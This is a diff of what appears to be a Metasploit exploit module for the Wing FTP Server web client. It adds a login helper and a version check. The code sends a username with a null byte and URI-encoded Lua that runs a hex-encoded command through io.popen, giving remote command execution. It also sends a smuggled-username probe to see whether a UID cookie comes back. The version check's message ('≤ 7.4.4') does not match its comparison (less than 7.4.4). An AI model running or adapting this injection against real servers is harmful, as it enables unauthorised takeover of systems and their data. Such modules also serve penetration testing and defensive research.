@@ -66,33 +66,51 @@ def initialize(info = {})
6666 )
6767 end
6868
69+ def uid_cookie ( res )
70+ res &.get_cookies_parsed &.[]( 'UID' )
71+ end
72+
73+ def post_login ( username , password )
74+ send_request_cgi (
75+ 'method' => 'POST' ,
76+ 'uri' => normalize_uri ( target_uri . path , 'loginok.html' ) ,
77+ 'uri_encode_mode' => 'none' ,
78+ 'headers' => {
79+ 'Referer' => normalize_uri ( target_uri . path , 'login.html' ) + '?lang=english'
80+ } ,
81+ 'vars_post' => {
82+ 'username' => username ,
83+ 'password' => password ,
84+ 'username_val' => username . split ( '%00' ) . first ,
85+ 'password_val' => password
86+ }
87+ )
88+ end
89+
6990 def check
7091 res = send_request_cgi (
7192 'method' => 'GET' ,
7293 'uri' => normalize_uri ( target_uri . path , 'login.html' )
7394 )
7495 return CheckCode ::Safe ( 'Not a Wing FTP Web Client' ) unless res &.body &.include? ( 'Wing FTP Server - Web Client' )
7596
97+ if ( ver_str = res . body [ /Wing FTP Server v([\d .]+)/i , 1 ] )
98+ ver = Rex ::Version . new ( ver_str )
99+ return ver < Rex ::Version . new ( '7.4.4' ) ? CheckCode ::Vulnerable ( "Detected version #{ ver } ≤ 7.4.4" ) : CheckCode ::Safe ( "Detected version #{ ver } > 7.4.4" )
100+ end
101+
76102 suffix = Rex ::Text . rand_text_alpha ( 8 )
77103 user = datastore [ 'USERNAME' ]
78104 pass = datastore [ 'PASSWORD' ]
79- payload = "username=#{ user } %00#{ suffix } &password=#{ pass } &username_val=#{ user } &password_val=#{ pass } "
80-
81- res = send_request_cgi (
82- 'method' => 'POST' ,
83- 'uri' => normalize_uri ( target_uri . path , 'loginok.html' ) ,
84- 'headers' => {
85- 'Content-Type' => 'application/x-www-form-urlencoded' ,
86- 'Referer' => normalize_uri ( target_uri . path , 'login.html' ) + '?lang=english'
87- } ,
88- 'data' => payload
89- )
90- return CheckCode ::Unknown ( 'No response' ) unless res
91105
92- uid = res . get_cookies_parsed . fetch ( 'UID' , nil )
93- return CheckCode ::Appears ( "UID cookie received: #{ uid } " ) if uid
106+ res2 = post_login ( " #{ user } %00 #{ suffix } " , pass )
107+ return CheckCode ::Unknown ( 'No response' ) unless res2
94108
95- CheckCode ::Safe ( 'UID cookie not found; not vulnerable' )
109+ if uid_cookie ( res2 )
110+ CheckCode ::Appears ( 'UID cookie received' )
111+ else
112+ CheckCode ::Safe ( 'UID cookie not found; not vulnerable' )
113+ end
96114 end
97115
98116 def exploit
@@ -109,25 +127,12 @@ def exploit
109127 end
110128 local cmd = hx("#{ hex } ")
111129 local h = io.popen(cmd)
112- local r = h:read("*a")
113130 h:close()
114131 LUA
115132
116133 inj = "#{ user } %00" + Rex ::Text . uri_encode ( lua ) . gsub ( '%0a' , '%0d' ) + '--'
117134
118- res = send_request_cgi (
119- 'method' => 'POST' ,
120- 'uri' => normalize_uri ( target_uri . path , 'loginok.html' ) ,
121- 'headers' => {
122- 'Referer' => normalize_uri ( target_uri . path , 'login.html' ) + '?lang=english'
123- } ,
124- 'vars_post' => {
125- 'username' => inj ,
126- 'password' => pass ,
127- 'username_val' => user ,
128- 'password_val' => pass
129- }
130- )
135+ res = post_login ( inj , pass )
131136 fail_with ( Failure ::UnexpectedReply , 'Injection failed' ) unless res &.code == 200
132137
133138 uid = res . get_cookies_parsed . fetch ( 'UID' , nil )
0 commit comments